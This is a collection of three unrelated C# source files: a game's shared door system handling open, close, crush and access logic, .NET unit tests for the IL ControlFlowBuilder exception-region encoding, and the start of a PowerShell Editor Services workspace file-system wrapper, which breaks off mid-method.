private void OnInit(EntityUid uid, DoorComponent door, ComponentInit args)
{
if (door.NextStateChange != null)
_activeDoors.Add(door);
else
{
// Make sure doors are not perpetually stuck opening or closing.
if (door.State == DoorState.Opening)
{
// force to open.
door.State = DoorState.Open;
door.Partial = false;
}
if (door.State == DoorState.Closing)
{
// force to closed.
door.State = DoorState.Closed;
door.Partial = false;
}
}
// should this door have collision and the like enabled?
var collidable = door.State == DoorState.Closed
|| door.State == DoorState.Closing && door.Partial
|| door.State == DoorState.Opening && !door.Partial;
SetCollidable(uid, collidable, door);
UpdateAppearance(uid, door);
}
private void OnRemove(EntityUid uid, DoorComponent door, ComponentRemove args)
{
_activeDoors.Remove(door);
}
#region StateManagement
private void OnGetState(EntityUid uid, DoorComponent door, ref ComponentGetState args)
{
args.State = new DoorComponentState(door);
}
private void OnHandleState(EntityUid uid, DoorComponent door, ref ComponentHandleState args)
{
if (args.Current is not DoorComponentState state)
return;
door.CurrentlyCrushing = new(state.CurrentlyCrushing);
door.State = state.DoorState;
door.NextStateChange = state.NextStateChange;
door.Partial = state.Partial;
if (state.NextStateChange == null)
_activeDoors.Remove(door);
else
_activeDoors.Add(door);
RaiseLocalEvent(uid, new DoorStateChangedEvent(door.State), false);
UpdateAppearance(uid, door);
}
protected void SetState(EntityUid uid, DoorState state, DoorComponent? door = null)
{
if (!Resolve(uid, ref door))
return;
switch (state)
{
case DoorState.Opening:
_activeDoors.Add(door);
door.NextStateChange = GameTiming.CurTime + door.OpenTimeOne;
break;
case DoorState.Closing:
_activeDoors.Add(door);
door.NextStateChange = GameTiming.CurTime + door.CloseTimeOne;
break;
case DoorState.Denying:
_activeDoors.Add(door);
door.NextStateChange = GameTiming.CurTime + door.DenyDuration;
break;
case DoorState.Open:
case DoorState.Closed:
door.Partial = false;
if (door.NextStateChange == null)
_activeDoors.Remove(door);
break;
}
door.State = state;
door.Dirty();
RaiseLocalEvent(uid, new DoorStateChangedEvent(state), false);
UpdateAppearance(uid, door);
}
protected virtual void UpdateAppearance(EntityUid uid, DoorComponent? door = null)
{
if (!Resolve(uid, ref door))
return;
if (!TryComp(uid, out AppearanceComponent? appearance))
return;
appearance.SetData(DoorVisuals.State, door.State);
}
#endregion
#region Interactions
protected virtual void OnActivate(EntityUid uid, DoorComponent door, ActivateInWorldEvent args)
{
// avoid client-mispredicts, as the server will definitely handle this event
args.Handled = true;
}
private void OnExamine(EntityUid uid, DoorComponent door, ExaminedEvent args)
{
if (door.State == DoorState.Welded)
args.PushText(Loc.GetString("door-component-examine-is-welded"));
}
/// <summary>
/// Update the door state/visuals and play an access denied sound when a user without access interacts with the
/// door.
/// </summary>
public void Deny(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return;
if (door.State != DoorState.Closed)
return;
// might not be able to deny without power or some other blocker.
var ev = new BeforeDoorDeniedEvent();
RaiseLocalEvent(uid, ev, false);
if (ev.Cancelled)
return;
SetState(uid, DoorState.Denying, door);
if (door.DenySound != null)
PlaySound(uid, door.DenySound.GetSound(), AudioParams.Default.WithVolume(-3), user, predicted);
}
public bool TryToggleDoor(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return false;
if (door.State == DoorState.Closed)
{
return TryOpen(uid, door, user, predicted);
}
else if (door.State == DoorState.Open)
{
return TryClose(uid, door, user, predicted);
}
return false;
}
#endregion
#region Opening
public bool TryOpen(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return false;
if (!CanOpen(uid, door, user, false))
return false;
StartOpening(uid, door, user, predicted);
return true;
}
public bool CanOpen(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool quiet = true)
{
if (!Resolve(uid, ref door))
return false;
if (door.State == DoorState.Welded)
return false;
var ev = new BeforeDoorOpenedEvent();
RaiseLocalEvent(uid, ev, false);
if (ev.Cancelled)
return false;
if (!HasAccess(uid, user))
{
if (!quiet)
Deny(uid, door);
return false;
}
return true;
}
public virtual void StartOpening(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return;
SetState(uid, DoorState.Opening, door);
if (door.OpenSound != null)
PlaySound(uid, door.OpenSound.GetSound(), AudioParams.Default.WithVolume(-5), user, predicted);
// I'm not sure what the intent here is/was? It plays a sound if the user is opening a door with a hands
// component, but no actual hands!? What!? Is this the sound of them head-butting the door to get it to open??
// I'm 99% sure something is wrong here, but I kind of want to keep it this way.
if (user != null && TryComp(user.Value, out SharedHandsComponent? hands) && hands.Hands.Count == 0)
PlaySound(uid, door.TryOpenDoorSound.GetSound(), AudioParams.Default.WithVolume(-2), user, predicted);
}
/// <summary>
/// Called when the door is partially opened. The door becomes transparent and stops colliding with entities.
/// </summary>
public void OnPartialOpen(EntityUid uid, DoorComponent? door = null)
{
if (!Resolve(uid, ref door))
return;
SetCollidable(uid, false, door);
door.Partial = true;
door.NextStateChange = GameTiming.CurTime + door.CloseTimeTwo;
_activeDoors.Add(door);
door.Dirty();
}
#endregion
#region Closing
public bool TryClose(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return false;
if (!CanClose(uid, door, user, false))
return false;
StartClosing(uid, door, user, predicted);
return true;
}
public bool CanClose(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool quiet = true)
{
if (!Resolve(uid, ref door))
return false;
var ev = new BeforeDoorClosedEvent(door.PerformCollisionCheck);
RaiseLocalEvent(uid, ev, false);
if (ev.Cancelled)
return false;
if (!HasAccess(uid, user))
return false;
return !ev.PerformCollisionCheck || !GetColliding(uid).Any();
}
public virtual void StartClosing(EntityUid uid, DoorComponent? door = null, EntityUid? user = null, bool predicted = false)
{
if (!Resolve(uid, ref door))
return;
SetState(uid, DoorState.Closing, door);
if (door.CloseSound != null)
PlaySound(uid, door.CloseSound.GetSound(), AudioParams.Default.WithVolume(-5), user, predicted);
}
/// <summary>
/// Called when the door is partially closed. This is when the door becomes "solid". If this process fails (e.g., a
/// mob entered the door as it was closing), then this returns false. Otherwise, returns true;
/// </summary>
public bool OnPartialClose(EntityUid uid, DoorComponent? door = null, PhysicsComponent? physics = null)
{
if (!Resolve(uid, ref door, ref physics))
return false;
door.Partial = true;
door.Dirty();
// Make sure no entity waled into the airlock when it started closing.
if (!CanClose(uid, door))
{
door.NextStateChange = GameTiming.CurTime + door.OpenTimeTwo;
door.State = DoorState.Opening;
UpdateAppearance(uid, door);
return false;
}
SetCollidable(uid, true, door, physics);
door.NextStateChange = GameTiming.CurTime + door.CloseTimeTwo;
_activeDoors.Add(door);
// Crush any entities. Note that we don't check airlock safety here. This should have been checked before
// the door closed.
Crush(uid, door, physics);
return true;
}
#endregion
#region Collisions
protected virtual void SetCollidable(EntityUid uid, bool collidable,
DoorComponent? door = null,
PhysicsComponent? physics = null,
OccluderComponent? occluder = null)
{
if (!Resolve(uid, ref door))
return;
if (Resolve(uid, ref physics, false))
physics.CanCollide = collidable;
if (!collidable)
door.CurrentlyCrushing.Clear();
if (door.Occludes && Resolve(uid, ref occluder, false))
occluder.Enabled = collidable;
}
/// <summary>
/// Crushes everyone colliding with us by more than <see cref="IntersectPercentage"/>%.
/// </summary>
public void Crush(EntityUid uid, DoorComponent? door = null, PhysicsComponent? physics = null)
{
if (!Resolve(uid, ref door))
return;
if (!door.CanCrush)
return;
// Find entities and apply curshing effects
var stunTime = door.DoorStunTime + door.OpenTimeOne;
foreach (var entity in GetColliding(uid, physics))
{
door.CurrentlyCrushing.Add(entity);
if (door.CrushDamage != null)
_damageableSystem.TryChangeDamage(entity, door.CrushDamage);
_stunSystem.TryParalyze(entity, stunTime, true);
}
if (door.CurrentlyCrushing.Count == 0)
return;
// queue the door to open so that the player is no longer stunned once it has FINISHED opening.
door.NextStateChange = GameTiming.CurTime + door.DoorStunTime;
door.Partial = false;
}
/// <summary>
/// Get all entities that collide with this door by more than <see cref="IntersectPercentage"/> percent.\
/// </summary>
public IEnumerable<EntityUid> GetColliding(EntityUid uid, PhysicsComponent? physics = null)
{
if (!Resolve(uid, ref physics))
yield break;
// TODO SLOTH fix electro's code.
var doorAABB = physics.GetWorldAABB();
foreach (var otherPhysics in _physicsSystem.GetCollidingEntities(Transform(uid).MapID, doorAABB))
{
if (otherPhysics == physics)
continue;
if (!otherPhysics.CanCollide)
continue;
if ((physics.CollisionMask & otherPhysics.CollisionLayer) == 0
&& (otherPhysics.CollisionMask & physics.CollisionLayer) == 0)
continue;
if (otherPhysics.GetWorldAABB().IntersectPercentage(doorAABB) < IntersectPercentage)
continue;
yield return otherPhysics.Owner;
}
}
private void PreventCollision(EntityUid uid, DoorComponent component, PreventCollideEvent args)
{
if (component.CurrentlyCrushing.Contains(args.BodyB.Owner))
{
args.Cancel();
}
}
protected virtual void HandleCollide(EntityUid uid, DoorComponent door, StartCollideEvent args)
{
// TODO ACCESS READER move access reader to shared and predict door opening/closing
// Then this can be moved to the shared system without mispredicting.
}
#endregion
#region Access
public virtual bool HasAccess(EntityUid uid, EntityUid? user = null, AccessReaderComponent? access = null)
{
// TODO network AccessComponent for predicting doors
// Currently all door open/close & door-bumper collision stuff is done server side.
// so this return value means nothing.
return true;
}
/// <summary>
/// Determines the base access behavior of all doors on the station.
/// </summary>
public AccessTypes AccessType = AccessTypes.Id;
/// <summary>
/// How door access should be handled.
/// </summary>
public enum AccessTypes
{
/// <summary> ID based door access. </summary>
Id,
/// <summary>
/// Allows everyone to open doors, except external which airlocks are still handled with ID's
/// </summary>
AllowAllIdExternal,
/// <summary>
/// Allows everyone to open doors, except external airlocks which are never allowed, even if the user has
/// ID access.
/// </summary>
AllowAllNoExternal,
/// <summary> Allows everyone to open all doors. </summary>
AllowAll
}
#endregion
#region Updating
/// <summary>
/// Schedule an open or closed door to progress to the next state after some time.
/// </summary>
/// <remarks>
/// If the requested delay is null or non-positive, this will make the door stay open or closed indefinitely.
/// </remarks>
public void SetNextStateChange(EntityUid uid, TimeSpan? delay, DoorComponent? door = null)
{
if (!Resolve(uid, ref door, false))
return;
// If the door is not currently just open or closed, it is busy doing something else (or welded shut). So in
// that case we do nothing.
if (door.State != DoorState.Open && door.State != DoorState.Closed)
return;
// Is this trying to prevent an update? (e.g., cancel an auto-close)
if (delay == null || delay.Value <= TimeSpan.Zero)
{
door.NextStateChange = null;
_activeDoors.Remove(door);
return;
}
door.NextStateChange = GameTiming.CurTime + delay.Value;
_activeDoors.Add(door);
}
/// <summary>
/// Iterate over active doors and progress them to the next state if they need to be updated.
/// </summary>
public override void Update(float frameTime)
{
var time = GameTiming.CurTime;
foreach (var door in _activeDoors.ToList())
{
if (door.Deleted || door.NextStateChange == null)
{
_activeDoors.Remove(door);
continue;
}
if (Paused(door.Owner))
continue;
if (door.NextStateChange.Value < time)
NextState(door, time);
}
}
/// <summary>
/// Makes a door proceed to the next state (if applicable).
/// </summary>
private void NextState(DoorComponent door, TimeSpan time)
{
door.NextStateChange = null;
if (door.CurrentlyCrushing.Count > 0)
// This is a closed door that is crushing people and needs to auto-open. Note that we don't check "can open"
// here. The door never actually finished closing and we don't want people to get stuck inside of doors.
StartOpening(door.Owner, door, predicted: true);
switch (door.State)
{
case DoorState.Opening:
// Either fully or partially open this door.
if (door.Partial)
SetState(door.Owner, DoorState.Open, door);
else
OnPartialOpen(door.Owner, door);
break;
case DoorState.Closing:
// Either fully or partially close this door.
if (door.Partial)
SetState(door.Owner, DoorState.Closed, door);
else
OnPartialClose(door.Owner, door);
break;
case DoorState.Denying:
// Finish denying entry and return to the closed state.
SetState(door.Owner, DoorState.Closed, door);
break;
case DoorState.Open:
// This door is open, and queued for an auto-close.
if (!TryClose(door.Owner, door, predicted: true))
{
// The door failed to close (blocked?). Try again in one second.
door.NextStateChange = time + TimeSpan.FromSeconds(1);
}
break;
case DoorState.Welded:
// A welded door? This should never have been active in the first place.
Logger.Error($"Welded door was in the list of active doors. Door: {ToPrettyString(door.Owner)}");
break;
}
}
#endregion
protected abstract void PlaySound(EntityUid uid, string sound, AudioParams audioParams, EntityUid? predictingPlayer, bool predicted);
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Reflection.Metadata.Tests;
using Xunit;
namespace System.Reflection.Metadata.Ecma335.Tests
{
public class ControlFlowBuilderTests
{
[Fact]
public void AddFinallyFaultFilterRegions()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
var l2 = il.DefineLabel();
var l3 = il.DefineLabel();
var l4 = il.DefineLabel();
var l5 = il.DefineLabel();
il.MarkLabel(l1);
Assert.Equal(0, il.Offset);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l2);
Assert.Equal(1, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l3);
Assert.Equal(3, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l4);
Assert.Equal(6, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l5);
Assert.Equal(10, il.Offset);
flow.AddFaultRegion(l1, l2, l3, l4);
flow.AddFinallyRegion(l1, l2, l3, l4);
flow.AddFilterRegion(l1, l2, l3, l4, l5);
var builder = new BlobBuilder();
builder.WriteByte(0xff);
flow.SerializeExceptionTable(builder);
AssertEx.Equal(new byte[]
{
0xFF, 0x00, 0x00, 0x00, // padding
0x01, // flag
(byte)(builder.Count - 4), // size
0x00, 0x00, // reserved
0x04, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x00, 0x00, 0x00, 0x00, // catch type or filter offset
0x02, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x00, 0x00, 0x00, 0x00, // catch type or filter offset
0x01, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x0A, 0x00, 0x00, 0x00 // catch type or filter offset
}, builder.ToArray());
}
[Fact]
public void AddCatchRegions()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
var l2 = il.DefineLabel();
var l3 = il.DefineLabel();
var l4 = il.DefineLabel();
var l5 = il.DefineLabel();
il.MarkLabel(l1);
Assert.Equal(0, il.Offset);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l2);
Assert.Equal(1, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l3);
Assert.Equal(3, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l4);
Assert.Equal(6, il.Offset);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l5);
Assert.Equal(10, il.Offset);
flow.AddCatchRegion(l1, l2, l3, l4, MetadataTokens.TypeDefinitionHandle(1));
flow.AddCatchRegion(l1, l2, l3, l4, MetadataTokens.TypeSpecificationHandle(2));
flow.AddCatchRegion(l1, l2, l3, l4, MetadataTokens.TypeReferenceHandle(3));
var builder = new BlobBuilder();
flow.SerializeExceptionTable(builder);
AssertEx.Equal(new byte[]
{
0x01, // flag
(byte)builder.Count, // size
0x00, 0x00, // reserved
0x00, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x01, 0x00, 0x00, 0x02, // catch type or filter offset
0x00, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x02, 0x00, 0x00, 0x1B, // catch type or filter offset
0x00, 0x00, // kind
0x00, 0x00, // try offset
0x01, // try length
0x03, 0x00, // handler offset
0x03, // handler length
0x03, 0x00, 0x00, 0x01, // catch type or filter offset
}, builder.ToArray());
}
[Fact]
public void AddRegion_Errors1()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var ilx = new InstructionEncoder(code, new ControlFlowBuilder());
var l1 = il.DefineLabel();
var l2 = il.DefineLabel();
var l3 = il.DefineLabel();
var l4 = il.DefineLabel();
var l5 = il.DefineLabel();
ilx.DefineLabel();
ilx.DefineLabel();
ilx.DefineLabel();
ilx.DefineLabel();
ilx.DefineLabel();
ilx.DefineLabel();
var lx = ilx.DefineLabel();
il.MarkLabel(l1);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l2);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l3);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l4);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l5);
AssertExtensions.Throws<ArgumentException>("catchType", () => flow.AddCatchRegion(l1, l2, l3, l4, default(TypeDefinitionHandle)));
AssertExtensions.Throws<ArgumentException>("catchType", () => flow.AddCatchRegion(l1, l2, l3, l4, MetadataTokens.MethodDefinitionHandle(1)));
Assert.Throws<ArgumentNullException>(() => flow.AddCatchRegion(default(LabelHandle), l2, l3, l4, MetadataTokens.TypeReferenceHandle(1)));
Assert.Throws<ArgumentNullException>(() => flow.AddCatchRegion(l1, default(LabelHandle), l3, l4, MetadataTokens.TypeReferenceHandle(1)));
Assert.Throws<ArgumentNullException>(() => flow.AddCatchRegion(l1, l2, default(LabelHandle), l4, MetadataTokens.TypeReferenceHandle(1)));
Assert.Throws<ArgumentNullException>(() => flow.AddCatchRegion(l1, l2, l3, default(LabelHandle), MetadataTokens.TypeReferenceHandle(1)));
AssertExtensions.Throws<ArgumentException>("tryStart", () => flow.AddCatchRegion(lx, l2, l3, l4, MetadataTokens.TypeReferenceHandle(1)));
AssertExtensions.Throws<ArgumentException>("tryEnd", () => flow.AddCatchRegion(l1, lx, l3, l4, MetadataTokens.TypeReferenceHandle(1)));
AssertExtensions.Throws<ArgumentException>("handlerStart", () => flow.AddCatchRegion(l1, l2, lx, l4, MetadataTokens.TypeReferenceHandle(1)));
AssertExtensions.Throws<ArgumentException>("handlerEnd", () => flow.AddCatchRegion(l1, l2, l3, lx, MetadataTokens.TypeReferenceHandle(1)));
}
[Fact]
public void AddRegion_Errors2()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
var l2 = il.DefineLabel();
var l3 = il.DefineLabel();
var l4 = il.DefineLabel();
var l5 = il.DefineLabel();
il.MarkLabel(l1);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l2);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l3);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l4);
var streamBuilder = new BlobBuilder();
var encoder = new MethodBodyStreamEncoder(streamBuilder);
flow.AddFaultRegion(l2, l1, l3, l4);
Assert.Throws<InvalidOperationException>(() => encoder.AddMethodBody(il));
}
[Fact]
public void AddRegion_Errors3()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
var l2 = il.DefineLabel();
var l3 = il.DefineLabel();
var l4 = il.DefineLabel();
var l5 = il.DefineLabel();
il.MarkLabel(l1);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l2);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l3);
il.OpCode(ILOpCode.Nop);
il.MarkLabel(l4);
var streamBuilder = new BlobBuilder();
var encoder = new MethodBodyStreamEncoder(streamBuilder);
flow.AddFaultRegion(l1, l2, l4, l3);
Assert.Throws<InvalidOperationException>(() => encoder.AddMethodBody(il));
}
[Fact]
public void Branch_ShortInstruction_LongDistance()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
il.Branch(ILOpCode.Br_s, l1);
for (int i = 0; i < 100; i++)
{
il.Call(MetadataTokens.MethodDefinitionHandle(1));
}
il.MarkLabel(l1);
il.OpCode(ILOpCode.Ret);
var builder = new BlobBuilder();
var encoder = new MethodBodyStreamEncoder(builder);
Assert.Throws<InvalidOperationException>(() => encoder.AddMethodBody(il));
}
[Fact]
public void Branch_ShortInstruction_ShortDistance()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
il.Branch(ILOpCode.Br_s, l1);
il.Call(MetadataTokens.MethodDefinitionHandle(1));
il.MarkLabel(l1);
il.OpCode(ILOpCode.Ret);
var builder = new BlobBuilder();
var encoder = new MethodBodyStreamEncoder(builder).AddMethodBody(il);
AssertEx.Equal(new byte[]
{
0x22, // header
(byte)ILOpCode.Br_s, 0x05,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Ret
}, builder.ToArray());
}
[Fact]
public void Branch_LongInstruction_ShortDistance()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
il.Branch(ILOpCode.Br, l1);
il.Call(MetadataTokens.MethodDefinitionHandle(1));
il.MarkLabel(l1);
il.OpCode(ILOpCode.Ret);
var builder = new BlobBuilder();
new MethodBodyStreamEncoder(builder).AddMethodBody(il);
AssertEx.Equal(new byte[]
{
0x2E, // header
(byte)ILOpCode.Br, 0x05, 0x00, 0x00, 0x00,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Ret
}, builder.ToArray());
}
[Fact]
public void Branch_LongInstruction_LongDistance()
{
var code = new BlobBuilder();
var flow = new ControlFlowBuilder();
var il = new InstructionEncoder(code, flow);
var l1 = il.DefineLabel();
il.Branch(ILOpCode.Br, l1);
for (int i = 0; i < 256/5 + 1; i++)
{
il.Call(MetadataTokens.MethodDefinitionHandle(1));
}
il.MarkLabel(l1);
il.OpCode(ILOpCode.Ret);
var builder = new BlobBuilder();
var encoder = new MethodBodyStreamEncoder(builder).AddMethodBody(il);
AssertEx.Equal(new byte[]
{
0x13, 0x30, 0x08, 0x00, 0x0A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,// header
(byte)ILOpCode.Br, 0x04, 0x01, 0x00, 0x00,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Call, 0x01, 0x00, 0x00, 0x06,
(byte)ILOpCode.Ret
}, builder.ToArray());
}
}
}
| |
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
using System;
using System.Collections.Generic;
using System.IO;
using System.Security;
using Microsoft.Extensions.FileSystemGlobbing.Abstractions;
using Microsoft.Extensions.Logging;
using Microsoft.PowerShell.EditorServices.Logging;
namespace Microsoft.PowerShell.EditorServices.Services.Workspace
{
/// <summary>
/// A FileSystem wrapper class which only returns files and directories that the consumer is interested in,
/// with a maximum recursion depth and silently ignores most file system errors. Typically this is used by the
/// Microsoft.Extensions.FileSystemGlobbing library.
/// </summary>
internal class WorkspaceFileSystemWrapperFactory
{
private readonly DirectoryInfoBase _rootDirectory;
private readonly string[] _allowedExtensions;
private readonly bool _ignoreReparsePoints;
/// <summary>
/// Gets the maximum depth of the directories that will be searched
/// </summary>
internal int MaxRecursionDepth { get; }
/// <summary>
/// Gets the logging facility
/// </summary>
internal ILogger Logger { get; }
/// <summary>
/// Gets the directory where the factory is rooted. Only files and directories at this level, or deeper, will be visible
/// by the wrapper
/// </summary>
public DirectoryInfoBase RootDirectory
{
get { return _rootDirectory; }
}
/// <summary>
/// Creates a new FileWrapper Factory
/// </summary>
/// <param name="rootPath">The path to the root directory for the factory.</param>
/// <param name="recursionDepthLimit">The maximum directory depth.</param>
/// <param name="allowedExtensions">An array of file extensions that will be visible from the factory. For example [".ps1", ".psm1"]</param>
/// <param name="ignoreReparsePoints">Whether objects which are Reparse Points should be ignored. https://docs.microsoft.com/en-us/windows/desktop/fileio/reparse-points</param>
/// <param name="logger">An ILogger implementation used for writing log messages.</param>
public WorkspaceFileSystemWrapperFactory(String rootPath, int recursionDepthLimit, string[] allowedExtensions, bool ignoreReparsePoints, ILogger logger)
{
MaxRecursionDepth = recursionDepthLimit;
_rootDirectory = new WorkspaceFileSystemDirectoryWrapper(this, new DirectoryInfo(rootPath), 0);
_allowedExtensions = allowedExtensions;
_ignoreReparsePoints = ignoreReparsePoints;
Logger = logger;
}
/// <summary>
/// Creates a wrapped <see cref="DirectoryInfoBase" /> object from <see cref="System.IO.DirectoryInfo" />.
/// </summary>
internal DirectoryInfoBase CreateDirectoryInfoWrapper(DirectoryInfo dirInfo, int depth) =>
new WorkspaceFileSystemDirectoryWrapper(this, dirInfo, depth >= 0 ? depth : 0);
/// <summary>
/// Creates a wrapped <see cref="FileInfoBase" /> object from <see cref="System.IO.FileInfo" />.
/// </summary>
internal FileInfoBase CreateFileInfoWrapper(FileInfo fileInfo, int depth) =>
new WorkspaceFileSystemFileInfoWrapper(this, fileInfo, depth >= 0 ? depth : 0);
/// <summary>
/// Enumerates all objects in the specified directory and ignores most errors
/// </summary>
internal IEnumerable<FileSystemInfo> SafeEnumerateFileSystemInfos(DirectoryInfo dirInfo)
{
// Find the subdirectories
string[] subDirs;
try
{
subDirs = Directory.GetDirectories(dirInfo.FullName, "*", SearchOption.TopDirectoryOnly);
}
catch (DirectoryNotFoundException e)
{
Logger.LogHandledException(
$"Could not enumerate directories in the path '{dirInfo.FullName}' due to it being an invalid path",
e);
yield break;
}
catch (PathTooLongException e)
{
Logger.LogHandledException(
$"Could not enumerate directories in the path '{dirInfo.FullName}' due to the path being too long",
e);
yield break;
}
catch (Exception e) when (e is SecurityException || e is UnauthorizedAccessException)
{
Logger.LogHandledException(
$"Could not enumerate directories in the path '{dirInfo.FullName}' due to the path not being accessible",
e);
yield break;
}
catch (Exception e)
{
Logger.LogHandledException(
